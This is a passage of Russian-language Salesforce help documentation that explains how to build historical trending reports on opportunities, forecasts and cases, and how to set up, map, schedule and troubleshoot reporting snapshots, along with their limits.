4. Определение рискованных сделок
Благодаря анализу архивноготрендинга, пользователимогутправильнорасставлять своиприоритетыпутембыстрого
определениясделок, которыемогутнаходитьсяподугрозой. Например, чтобыпросмотретьтолькосделки, стоимость
которыхснизиласьотносительновчерашнейдаты, воспользуйтесьотчетомпоархивномутрендингу, позволяющему
просматривать сделки, которые сегодня стоят меньше, чем вчера.
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Просмотр динамических изменений ожидаемых продаж

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Чтобы просмотреть изменение общей стоимости ожидаемых продаж относительно
вчерашней даты, воспользуйтесь отчетом по архивному трендингу, позволяющему
сравнивать две даты.

1. Создайте отчет по журналу возможности.

a. Нажмите кнопку «Создать отчет...» на вкладке «Отчеты».

b. Выберите отчет «Возможности с архивным трендингом» в папке «Выбор типа
отчета» > «Возможности».

c. Нажмите кнопку «Создать».

2. Выберите значение «Все возможности» в раскрывающемся списке «Показать».

Обратите внимание, что поле «Архивная дата» по умолчанию содержит значение
«Вчера», а поле «Стоимость (архивное)» отображает вчерашнюю дату.

Совет: Значение даты «Вчера» является скользящим, то есть соответствует дате,
которая соотносится с текущей датой. Так, поле «Стоимость (архивное)»
отображает текущуюдатупривыполненииданногоотчетана следующийдень.

3. Щелкните стрелку в заголовках столбцов «Стоимость (архивное)» и «Стоимость (сегодня)». Выберите пункт
«Резюмировать данное поле...» и установите флажок «Сумма».
Общая стоимость отображается внизу каждого столбца.

4. Щелкните стрелку в заголовке столбца «Стоимость» и выберите пункт «Показать изменения».

5. Нажмите кнопку «Запустить отчет».

6. Просмотритеразличиямеждуитоговымизначениямистолбцов «Стоимость (архивное)» и «Стоимость (сегодня)»
в столбце «Изменить».

Совет: Цветовоекодирование (красныйилизеленый) позволяетмгновеннопросматриватьизмененныезначения.

Созданный отчет по архивному трендингу позволяет проанализировать изменения ожидаемых продаж.

СМ. ТАКЖЕ:

Отчет «Возможности с архивным трендингом»
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Определение архивных сделок свыше заданного значения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Например, чтобы просмотреть только сделки со стоимостью более 5 000 рублей без
учета возможных изменений на текущую дату, воспользуйтесь отчетом по архивному
трендингу, позволяющемуотфильтроватьвсесделки, стоимостькоторыхнавчерашнюю
дату не превышала 5 000 рублей.

1. Создайте отчет по журналу возможности.

a. Нажмите кнопку «Создать отчет...» на вкладке «Отчеты».

b. Выберите отчет «Возможности с архивным трендингом» в папке «Выбор типа
отчета» > «Возможности».

c. Нажмите кнопку «Создать».

2. Выберите значение «Все возможности» в раскрывающемся списке «Показать».

3. Воспользуйтесь фильтрацией.

a. Нажмите раскрывающуюся кнопку «Добавить» и выберите пункт «Фильтр
архивного поля».

b. Выберите значение «Вчера» для поля «Стоимость (архивное)».

c. Выберите оператор «больше».

d. Введите значение «5 000» в последнее поле.

e. Нажмите кнопку «OK».

4. Нажмите кнопку «Запустить отчет».

5. Просмотрите готовыйотчет и убедитесь, что стоимость всех сделок, доступных в столбце «Стоимость (архивное)»,
превышает 5 000 рублей.

Совет: Значения полей «Стоимость», «Дата закрытия» и «Этап» отображаются зеленым или красным цветом,
соответствующим направлению изменения. Чтобы изменить цвета на противоположные, щелкните значок
стрелки в заголовке столбца.
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Созданный отчет позволяет просмотреть все сделки, стоимость которых на выбранную архивную дату превышала
заданное значение.

СМ. ТАКЖЕ:

Отчет «Возможности с архивным трендингом»

Просмотр затянувшихся сделок

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Чтобыпросмотреть только затянувшиеся сделки, воспользуйтесьотчетомпоархивному
трендингу, позволяющему просматривать сделки, даты закрытия которых перенесены
на более позднюю дату.

1. Создайте отчет по журналу возможности.

a. Нажмите кнопку «Создать отчет...» на вкладке «Отчеты».

b. Выберите отчет «Возможности с архивным трендингом» в папке «Выбор типа
отчета» > «Возможности».

c. Нажмите кнопку «Создать».

2. Выберите значение «Все возможности» в раскрывающемся списке «Показать».

3. Воспользуйтесь фильтрацией.

a. Нажмите раскрывающуюся кнопку «Добавить» и выберите пункт «Фильтр
архивного поля».

b. Выберите значение «1 февраля 2013 года» дляполя «Дата закрытия (архивное)».

Совет: Чтобы выбрать нужную дату, воспользуйтесь календарем в разделе
«Фиксированный график».

c. Нажмите кнопку «OK».

4. Щелкнитестрелкув заголовкестолбца «Дата закрытия» ивыберитепункт «Показать
изменения».

5. Нажмите кнопку «Запустить отчет».

6. Сравните даты в столбцах отчета «Дата закрытия (архивное)» и «Дата закрытия (сегодня)» для каждой сделки.

Совет: Цветовоекодирование (красныйилизеленый) позволяетмгновеннопросматриватьизмененныезначения.

СМ. ТАКЖЕ:

Отчет «Возможности с архивным трендингом»
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Определение рискованных сделок

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Благодаря анализу архивного трендинга, пользователи могут правильно расставлять
свои приоритеты путем быстрого определения сделок, которые могут находиться под
угрозой. Например, чтобы просмотреть только сделки, стоимость которых снизилась
относительно вчерашней даты, воспользуйтесь отчетом по архивному трендингу,
позволяющему просматривать сделки, которые сегодня стоят меньше, чем вчера.

1. Создайте отчет по журналу возможности.

a. Нажмите кнопку «Создать отчет...» на вкладке «Отчеты».

b. Выберите отчет «Возможности с архивным трендингом» в папке «Выбор типа
отчета» > «Возможности».

c. Нажмите кнопку «Создать».

2. Выберите значение «Все возможности» в раскрывающемся списке «Показать».

3. Воспользуйтесь фильтрацией.

a. Нажмите раскрывающуюся кнопку «Добавить» и выберите пункт «Фильтр
архивного поля».

b. Выберите поле «Стоимость (архивное)» и оператор «больше».

c. Задайте последнему полю тип «Поле».

Данный тип позволяет сопоставлять архивную стоимость с любым значением
столбца «Стоимость (сегодня)» вместо заданной стоимости.

d. Нажмите кнопку «OK».

4. Нажмите кнопку «Запустить отчет».

Созданный отчет позволяет пометить сделки, стоимость которых снизилась относительно вчерашней даты. Обратите
внимание, что все результаты в столбце «Стоимость (сегодня)» отображаются красным цветом, соответствующим
пониженным значениям.

Совет: Чтобы изменить текущее цветовое кодирование, щелкните стрелку над столбцом «Изменить» и выберите
пункт «Изменить цвета».

СМ. ТАКЖЕ:

Отчет «Возможности с архивным трендингом»
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Просмотр изменения стоимостей прогноза

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Предлагаем создать архивный матричный отчет по стоимостям, использованным
участниками рабочей группы для назначения каждой категории прогноза. Изменения
данныхстоимостейпозволяютопределятьточностьсоставленияпрогнозовучастниками
рабочей группы.

Рассмотрим пример ниже.

1. Создайте отчет по журналу прогноза.

a. Нажмите кнопку «Создать отчет...» на вкладке «Отчеты».

b. Выберите отчет «Элементы прогнозирования с архивным трендингом» в папке
«Выбор типа отчета» > «Возможности». Прежде чем выбрать данный тип
отчета, рекомендуем включить архивный трендинг для элементов
прогнозирования. При отсутствии данного типа отчета обратитесь к
администратору.

c. Нажмите кнопку «Создать».

2. Выберитезначение«Всеэлементыпрогнозирования»израскрывающегосясписка
«Показать» области «Фильтры» и настройте нужные фильтры.

a. Выберите значение «Датаокончания» израскрывающегося списка «Поледаты».
Выберите значение «Текущийфин. квартал» из раскрывающегося списка
«Диапазон». Поля «С» и «По» автоматически заполняются датами начала и
окончания текущего квартала.

b. Выберите значения «3 мес. назад», «2 мес. назад» и «1 мес. назад» из
раскрывающегося меню «Архивная дата». Каждая выбранная дата добавляется
в поле.

Выполнитефильтрацию архивных данных.

Совет: Чтобыпереместить значение «Вчера» в правуючасть поля, удалите его и выберите данное значение
из раскрывающегося меню.

3. Выберите нужные данные. В данном случае нас интересует измененная категория и изменение стоимости прогноза.

a. Замените параметр «Табличныйформат» параметром «Матричныйформат» на панели «Предварительный
просмотр».

b. Чтобысоздать группировку строк, перетащитеполе «Ответственный: полное имя» изобласти «Поля» напанель
«Предварительный просмотр».

c. Чтобысоздать другуюгруппировку строк, перетащитеполе «Категория прогноза» правееполя «Ответственный:
полное имя».

d. Перетащите поле «Стоимость прогноза (архивное)» в матрицу панели «Предварительный просмотр» (ниже
желтой черты). Установите флажок «Сумма» в диалоговом окне «Резюмировать».
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Выберите поля, содержащие нужные данные.

Столбцы отображаются для каждой выбранной архивной даты, содержащей записи.

4. Чтобыпросмотреть собранныеданные, нажмитекнопку «Запуститьотчет». Чтобыпродолжитьнастройкуфильтров
и полей, нажмите кнопку «Настроить».

5. Чтобы наглядно просмотреть выбранные данные, создайте диаграмму.

a. Нажмите кнопку «Добавить диаграмму» в области «Предварительныйпросмотр» ищелкните значок линейной
диаграммы.

b. Выберите значение «Стоимость прогноза (архивное): сумма» израскрывающегося списка «Ось Y»изначение
«Дата снимка» из раскрывающегося списка «Ось X» на вкладке «Данные диаграммы».

c. Выберите значение «Категория прогноза» израскрывающегосясписка «Группироватьпо»иустановитефлажок
«С накоплением».

d. Нажмите кнопки «OK» и «Запустить отчет».

6. Нажмите кнопку «Сохранить как». Введите имя отчета, выберите папку и нажмите кнопку «Сохранить».

Отслеживание журнала для обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Система позволяет отслеживать действия над обращениями и определять обновления
статуса обращения за последние три месяца его жизненного цикла.

1. Приоптимизацииоперацийконтактногоцентрарекомендуемнаблюдатьдинамику
поля «Статус» дляопределенияобращений, возвращенныхвпредыдущеесостояние.
Данный алгоритм позволяет повысить эффективность решения обращений.

2. При необходимости рекомендуем анализировать архивные значения поля
«Приоритет» для определения обращений, которые могут быть неправильно
классифицированы во время открытия. Выявление частых изменений приоритета
может также способствовать повышению эффективности обработки сложных
обращений.
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Знакомство с архивным трендингом

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция архивного трендинга использует специальный тип настраиваемого отчета,
предназначенный для определения изменений между пятью датами снимка (например,
пятьрабочихднейилипятьрабочихнедель). Наглядноеотображениеизмененийданных
поддерживается диаграммами и панелями мониторинга.

Поумолчаниюфункцияархивноготрендингадоступнаорганизациям, созданнымпосле
выпуска Winter'14. Более ранние организации должны активировать даннуюфункцию
самостоятельно посредством меню «Настройка».

Система Salesforce сохраняет архивные данные за предыдущие три месяца и текущий
месяц. (Фактически, доступный объем архивных данных определяется шаблонами
использования и проектирования данных организации.) Система позволяет выбирать
не более пяти снимков даты данного диапазона и использовать не более четырех
архивных фильтров.

Рекомендуем использовать только дни или недели. Использование более длительных периодов может инициировать
истечение срока действияотчетовиихнедоступность. Небольшиеорганизации, располагающиенесколькимизаписями,
могутсоздаватьархивныетрендыпомесяцам, однакоданнаяфункциянепредполагаетподобногошаблонаиспользования.

Совет: Кроме того, можно создать и настроить отчеты архивного трендинга с помощьюинтерфейсов Metadata API
и REST API отчетов и панели мониторинга.

Ограничения по архивному трендингу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Система Salesforce применяетнекоторыеограниченияк архивному трендингу, аименно:
периодотслеживанияданных, количествострокданных, отслеживаемыеполяиобъекты.
Данные ограничения позволяют уточнять наборы данных, сокращая время ожидания
результатов отчетов.

• Система Salesforce сохраняет архивныеданные за предыдущие тримесяцаи текущий
месяц.

• Для каждого объекта может сохраняться не более 5 миллионов строк данных
архивного трендинга. Сбор архивных данных прекращается при превышении
установленногоограничения. Придостижениилюбымобъектом 70% отограничения
администратору отправляется первое электронное предупреждение; последующее
электронное предупреждение отправляется после превышения установленного
ограничения.

• Каждыйотчетпоархивнымтрендамможетсодержатьнеболее 100 полей. Присоставленииотчетовповозможностям
данное количество охватывает стандартные предварительно выбранные поля, которые не могут быть отключены.

• Поля формулы не поддерживаются.

• Каждый отчет по архивным трендам позволяет выбирать не более пяти архивных дат.

• Каждый отчет по архивным трендам позволяет использовать не более четырех архивных фильтров.

• Поддерживаются следующие типы полей: «Число», «Валюта», «Дата» и «Раскрывающийся список».

• Internet Explorer 6 не поддерживается.

• Мастеротчетовнеподдерживается. Отчетыпоархивнымтрендаммогутбытьсозданытолькопосредствомконструктора
отчетов.

• ВLightning Experienceподдерживаетсясозданиеотчетовпоархивнымтрендамсдиаграммами, атабличноепредставление
отчетов по архивным трендам недоступно.
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Важное замечание: При наличиифильтра данных архивного трендинга, который уже использует поле типа
«Раскрывающийсясписок», рекомендуемизбегатьизмененияего значений. Данноедействиеможетпрепятствовать
эффективному использованию поля при составлении новых архивных отчетов.

Составление отчетов по архивным данным посредством отчетных снимков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Отчетный снимок — это средство составления отчетов по архивным данным.
Авторизованные пользователи могут сохранять результаты табличных или сводных
отчетов в полях настраиваемого объекта, а затем соотносить эти поля с
соответствующимиполямицелевогообъекта. Кроме того, онимогутпланировать время
выполненияотчетадля загрузкиданныхотчета вполянастраиваемогообъекта.Отчетные
снимкипозволяютобрабатыватьданныеотчетованалогичнодругимизаписямиSalesforce.

Ниже перечислены действия, доступные пользователям после настройки отчетного
снимка.

• Создание и запуск настраиваемых отчетов из целевого объекта.

• Создание панелей мониторинга из исходного отчета.

• Определение списковых представлений для целевого объекта, добавленного на
вкладку настраиваемого объекта.

Например, менеджер службы поддержки клиентов может настроить отчетный снимок, который составляет ежедневные
отчеты по открытым обращениям, назначенным ему или его рабочей группе, и сохраняет полученные данные в
настраиваемом объекте для создания журнала открытых обращений, который может использоваться отчетами для
отслеживания текущих тенденций. Затемменеджер службыподдержки клиентовможет составить отчет по текущимили
динамическим данным, хранящимся в настраиваемом объекте, и использовать полученный отчет в качестве источника
длякомпонентапанелимониторинга.Дополнительнуюинформациюобобщемколичествеотчетныхснимков, доступных
для создания, см. в разделе «Ограничения Salesforce».

1. Подготовка отчетных снимков
Отчетный снимок может быть настроен при наличии исходного отчета и целевого объекта, содержащего поля для
добавления данных исходного отчета.

2. Определение отчетного снимка
После создания исходного отчета, целевого объекта и полей целевого объекта рекомендуем определить отчетный
снимок. Чтобыопределитьотчетныйснимок, укажите егоимяивыберитеисходныйотчет, результатыкоторогобудут
загружаться в выбранный целевой объект при выполнении отчетного снимка.

3. Соотнесение полей отчетного снимка
После создания исходного отчета, целевого объекта, полей целевого объекта и определения отчетного снимка, поля
исходного отчета могут быть соотнесены с полямицелевого объекта. Соотнесение полей исходного отчета с полями
целевого объекта позволяет автоматически загружать соответствующие данные при выполнении отчета.

4. Планирование и выполнение отчетного снимка
После создания исходного отчета, целевого объекта и полей целевого объекта, определения отчетного снимка и
соотнесенияегополей, рекомендуемзапланироватьеговыполнение. Отчетныйснимокможетвыполнятьсяежедневно,
еженедельно или ежемесячно, поэтому данные исходного отчета могут загружаться в целевой объект с нужной
периодичностью.
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5. Управление отчетными снимками
Пользовательможетпросматривать сведения, а такжередактироватьи удалятьнастроенныеотчетныеснимки. Введите
строку «Отчетные снимки» вполе «Быстрый поиск» вменю «Настройка», затемвыберитепункт«Отчетныеснимки»,
чтобы открыть страницу «Отчетные снимки», на которой отображается список определенных для организации
отчетных снимков.

6. Устранение неполадок отчетных снимков
Раздел «Журнал выполнения» страницы сведений об отчетном снимке содержит информацию об успешности
выполнения отчетного снимка. Ошибка, возникающая во время запланированного выполнения отчетного снимка,
регистрируется в столбце «Результат». Чтобыпросмотреть сведения о выполнении, щелкните дату и время в столбце
«Время начала выполнения».

СМ. ТАКЖЕ:

Создание панели мониторинга Salesforce Classic

Создание настраиваемого отчета в режиме доступности

Подготовка отчетных снимков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, сохранения и
планирования отчетного
снимка:
• «Управление отчетными

снимками»

Для выполнения отчетного
снимка в качестве текущего
пользователя и добавления
результатов в
настраиваемый объект:
• «Запуск отчетов»

И

«Создание» для целевого
объекта

Отчетный снимок может быть настроен при наличии исходного отчета и целевого
объекта, содержащего поля для добавления данных исходного отчета.

Чтобы настроить отчетный снимок, выполните указанные ниже действия.

1. Создайтенастраиваемыйотчет, содержащийполя, которыедолжныбыть загружены
в целевой объект в качестве записей.

2. Создайте настраиваемый объект, который должен использоваться для хранения
записей, загруженных из исходного отчета.

3. Создайте поля целевого объекта, которые должны использоваться для загрузки
результатов исходного отчета при выполнении отчетного снимка.

Советы по исходным отчетам для отчетных снимков

• Исходный табличный отчет, сохраненный со скрытыми сведениями, не может быть
добавлен в отчетныйснимок. Более того, сокрытие сведенийисходного табличного
отчета, добавленноговотчетныйснимок, инициируетошибкувыполненияотчетного
снимка. Чтобы гарантировать отсутствие скрытых сведений исходного табличного
отчета, откройте отчет, нажмите кнопку «Показать сведения» и сохраните отчет.
Кнопка «Показатьсведения»отображается толькоприналичиискрытыхсведений
отчета.

• Присозданииисходногоотчетадляотчетногоснимкарекомендуемзапомнитьимена
полей, добавленныхвотчет, так как данныеименамогутпотребоватьсяприсоздании
полей целевого объекта, предназначенных для хранения результатов отчета.

• Любойнастраиваемыйтабличныйилисводныйотчет, кромеотчетовпоустаревшим
прогнозам, отчета «Планифактическиепродажи» иотчета «Интересыпоисточнику»,
можетбытьвыбранвкачествеисходногоотчета. Раскрывающийсясписок «Исходный
отчет» не содержит стандартных отчетов.

• Исходный отчет может содержать не более 100 полей.
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• При необходимости удалите расписание выполнения отчетного снимка. Выполнение отчетного снимка не может
быть остановлено или приостановлено, а исходный отчет не может быть удален. Чтобы удалить исходный отчет,
рекомендуемсначалаудалитьотчетизотчетногоснимкапутемизмененияотчетавраскрывающемсясписке «Исходный
отчет».

• Еслистолбец «Поляисходногоотчета» содержит значение «Нетданныхдля загрузки», топривыполненииотчетного
снимка соответствующее поле столбца «Поля целевого объекта» останется пустым. .

• Если поле целевого объекта и поле исходного отчета используют разные типы данных, то столбец «Поля исходного
отчета» отображает поле «(Нет полей с совместимыми типами данных)».

Советы по целевым объектам для отчетных снимков

Ниже перечислены рекомендации по настройке целевых объектов для отчетных снимков.

• Чтобы предоставить пользователям версии Enterprise Edition, Unlimited Edition, Performance Edition или Developer Edition
доступ к полям целевого объекта, воспользуйтесь параметрами безопасности полей.

• Настраиваемый объект, являющийся целевым для отчетного снимка, не может быть удален.

• Поля целевого объекта определяют возможность соотнесения полей. Например, исходный отчет может содержать
10 полей, но, если целевой объект содержит одно поле, то отчетный снимок позволяет соотносить только одно поле.

• Целевой объект может содержать не более 100 полей.

• Целевые объекты не могут содержать правила проверки или использоваться бизнес-правилами.

• Отчетныеснимкинемогут содержатьцелевыеобъекты, инициирующиевыполнениекодаApexприсозданиизаписей.

• Выполняемый отчетный снимок может добавлять не более 2 000 новых записей в целевой объект. Если исходный
отчет создает более 2 000 записей, то связанный список «Сбои строки» отображает сообщение об ошибке для
дополнительных записей. Чтобы просмотреть связанный список «Сбои строки», воспользуйтесь разделом «Журнал
выполнения» страницы сведений об отчетном снимке.

Советы по отчетным снимкам

• Просмотрите тип лицензии, назначенный пользователю, указанному в поле «Текущий пользователь». Например,
если текущему пользователю отчетного снимка назначается лицензия Salesforce, то данный снимок недоступен
пользователям с лицензией платформы Force.com Platform или Salesforce Platform One. Если текущему пользователю
назначается лицензияплатформы Force.com Platform или Salesforce Platform One, то данныйотчетныйснимок доступен
пользователямслицензией Salesforce. Приналичиипользователейслицензией Force.com Platform или Salesforce Platform
One рекомендуем создать отдельный отчетный снимок, где текущему пользователю назначается лицензия Force.com
Platform или Salesforce Platform One.

• Соотносимыеполядолжныиспользовать совместимыетипыданных. Например, полевалютыможетбыть соотнесено
с числовым полем.

• После изменения исходного отчета или целевого объекта отчетного снимка текущие соотнесения полей удаляются
при сохранении отчетного снимка. Чтобы просмотреть количество полей резюмирования или целевых полей,
воспользуйтесь параметрами «Поля резюмирования в исходном отчете» и «Поля целевого объекта»,
соответственно.

• Привыполненииотчетногоснимкаданныеисходногоотчета загружаются вцелевойобъект толькоприсоотнесении
как минимум одного поля исходного отчета с одним полем целевого объекта.

• Определениеилиудалениеотчетногоснимка, атакжеизменениеисходногоотчетаилицелевогообъекта, отслеживается
контрольным журналом настройки организации.
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• Раздел «Журналвыполнения» страницысведенийоботчетномснимкеотображает сведенияо выполненииотчетного
снимка. А именно:

– Дата и время выполнения отчетного снимка

– Имя исходного отчета, целевого объекта и текущего пользователя

– Время выполнения отчетного снимка

– Общее количество строк сведений или резюмирования исходного отчета (в зависимости от типа отчета)

– Количество записей, созданных в целевом объекте

– Успешность выполнения отчетного снимка

СМ. ТАКЖЕ:

Составление отчетов по архивным данным посредством отчетных снимков

Создание настраиваемого отчета в режиме доступности

Определение отчетного снимка

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, сохранения и
планирования отчетного
снимка:
• «Управление отчетными

снимками»

Для выполнения отчетного
снимка в качестве текущего
пользователя и добавления
результатов в
настраиваемый объект:
• «Запуск отчетов»

И

«Создание» для целевого
объекта

После создания исходного отчета, целевого объекта и полей целевого объекта
рекомендуемопределитьотчетныйснимок. Чтобыопределитьотчетныйснимок, укажите
егоимяивыберитеисходныйотчет, результатыкоторогобудут загружаться в выбранный
целевой объект при выполнении отчетного снимка.

1. Введите строку «Отчетные снимки» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Отчетные снимки».

2. Нажмите кнопку «Создать отчетный снимок».

3. Введите имя, уникальное имя и описание отчетного снимка.

4. Чтобы выбрать пользователя в поле «Текущий пользователь», щелкните значок
поиска.

Пользователь, указанный в поле «Текущий пользователь», определяет уровень
доступа исходного отчета к данным. Таким образом, пропускаются все параметры
безопасности, а всем пользователям, которые могут просматривать результаты
исходного отчета в целевом объекте, предоставляется доступ к данным, которые, в
противном случае, были бы им недоступны.

Только пользователи с полномочием «Изменение всех данных» могут выбирать
других текущих пользователей.

5. Выберите отчет в раскрывающемся списке «Исходный отчет».

Выбранныйотчетопределяетрезультаты, которыедолжныбытьзагруженывкачестве
записей в целевой объект при выполнении отчетного снимка.

В качестве исходных отчетов могут использоваться любые табличные или сводные
отчеты, кроме отчетов по устаревшим прогнозам, отчетов «План и фактические
продажи» и «Интересыпоисточнику». Раскрывающийсясписок «Исходный отчет»
не содержит стандартных отчетов.

6. Выберите настраиваемый объект в раскрывающемся списке «Целевой объект».

Выбранный настраиваемый объект будет принимать результаты исходного отчета
в виде записей при выполнении отчетного снимка.
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Если запись, использованная для отчетного снимка, не имеет связанного типа записи, то тип записи текущего
пользователя связывается с отчетным снимком по умолчанию.

7. Чтобысохранитьопределениеотчетногоснимка, нажмитекнопку «Сохранить». Чтобысохранитьотчетныйснимок
и выполнить соотнесение его полей, нажмите кнопку «Сохранить и редактировать соотнесения полей».

8. Соотнесите поля исходного отчета с полями целевого объекта.

СМ. ТАКЖЕ:

Типы стандартных отчетов

Соотнесение полей отчетного снимка

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, сохранения и
планирования отчетного
снимка:
• «Управление отчетными

снимками»

Для выполнения отчетного
снимка в качестве текущего
пользователя и добавления
результатов в
настраиваемый объект:
• «Запуск отчетов»

И

«Создание» для целевого
объекта

После создания исходного отчета, целевого объекта, полей целевого объекта и
определенияотчетного снимка, поляисходногоотчетамогутбыть соотнесенысполями
целевого объекта. Соотнесение полей исходного отчета с полями целевого объекта
позволяет автоматически загружать соответствующие данные при выполнении отчета.

1. Введите строку «Отчетные снимки» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Отчетные снимки».

2. Выберите имя нужного отчетного снимка.

3. Нажмите кнопку «Правка» в разделе «Соотнесения полей».

4. Выберите уровень извлечения сводных данных из исходного отчета в параметре
«Уровень группировки». Данные, загруженные в целевой объект, извлекаются из
полей резюмирования на указанном уровне группировки. Значение «Итоговое
резюмирование» является общим для всех уровней группировки.

5. Щелкните раскрывающийся список «Нет данных для загрузки» в столбце «Поля
исходного отчета» и выберите поле исходного отчета для соотнесения с полем
целевого объекта в столбце «Поля целевого объекта». Только поля резюмирования
могут быть соотнесеныдля отчетных снимковна основе сводныхотчетов. Обратите
внимание, что доступные поля сводных отчетов определяются выбранным уровнем
группировки.

6. Чтобы сохранить соотнесения полей и продолжить работу, нажмите кнопку
«Быстрое сохранение». Чтобы сохранить соотнесения полей и открыть страницу
сведений об отчетном снимке, нажмите кнопку «Сохранить».

7. Затем запланируйте выполнение отчетного снимка.

Рекомендации по соотнесению полей отчетного снимка

• Привыполненииотчетногоснимкаданныеисходногоотчета загружаютсявцелевой
объект толькоприсоотнесениикакминимумодногополяисходногоотчета содним
полем целевого объекта.

• Соотносимые поля должны использовать совместимые типы данных. Например,
поле валюты может быть соотнесено с числовым полем.

• Соотнесение настраиваемойформулы резюмирования может быть выполнено только при соответствии уровня
группировки отчетного снимка уровню группировки настраиваемойформулы резюмирования.

• Еслистолбец «Поляисходногоотчета» содержит значение «Нетданныхдля загрузки», топривыполненииотчетного
снимка соответствующее поле столбца «Поля целевого объекта» останется пустым.
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• Если поле целевого объекта и поле исходного отчета используют разные типы данных, то столбец «Поля исходного
отчета» отображает поле «(Нет полей с совместимыми типами данных)».

• Поля целевого объекта определяют возможность соотнесения полей. Например, исходный отчет может содержать
10 полей, но, если целевой объект содержит одно поле, то отчетный снимок позволяет соотносить только одно поле.

• Поляисходногоотчетанемогут быть соотнесенысо следующимиполямицелевогообъекта: «Создано», «Последнее
изменение сделано», «Дата создания» и «Дата последнего изменения».

• При соотнесении полей исходного отчета с полями целевого объекта некоторые данные могут быть загружены в
целевой объект без контекста. Например, при соотнесении поля даты/времени из исходного отчета с текстовым
полем целевого объекта дата и время загружаются в целевой объект без часового пояса.

• Соотнесенное поле целевого объекта, недоступное текущему пользователю для чтения или записи, исключается из
соотнесения, но не вызывает ошибку выполнения отчетного снимка. Выполнение прерывается в том случае, если не
соотносится обязательное поле целевого объекта. Чтобы гарантировать соотнесение полей, рекомендуем назначить
им статус обязательных или задать стандартные значения.

• Чтобы соотнести поле исходного отчета с полем поиска целевого объекта, рекомендуем использовать код объекта,
связанного споиском. Например, чтобысоотнестиполеисходногоотчета сполемпоиска возможности, рекомендуем
использовать поле «Код возможности». Чтобы добавить поле «Код возможности» в исходный отчет, рекомендуем
использовать тип настраиваемого отчета, поддерживающий добавление кода и других связанных полей.

СМ. ТАКЖЕ:

Составление отчетов по архивным данным посредством отчетных снимков

Создание настраиваемойформулы резюмирования
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Планирование и выполнение отчетного снимка

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, сохранения и
планирования отчетного
снимка:
• «Управление отчетными

снимками»

Для выполнения отчетного
снимка в качестве текущего
пользователя и добавления
результатов в
настраиваемый объект:
• «Запуск отчетов»

И

«Создание» для целевого
объекта

После создания исходного отчета, целевого объекта и полей целевого объекта,
определения отчетного снимка и соотнесения его полей, рекомендуем запланировать
его выполнение. Отчетный снимок может выполняться ежедневно, еженедельно или
ежемесячно, поэтому данные исходного отчета могут загружаться в целевой объект с
нужной периодичностью.

Количествоотчетныхснимков, доступноедляпланирования, определяетсяиспользуемой
версиейсистемы.Уведомлениеозавершениивыполненияотчетногоснимка, содержащее
сведения о выполнении отчетного снимка (например, дата и время выполнения,
успешностьвыполненияиколичествозаписейисходногоотчета, загруженныхвцелевой
объект), может быть отправлено текущему и другим пользователям по эл. почте. Кроме
того, данное уведомление содержит ссылку на страницу сведений об отчетном снимке
в системе Salesforce.

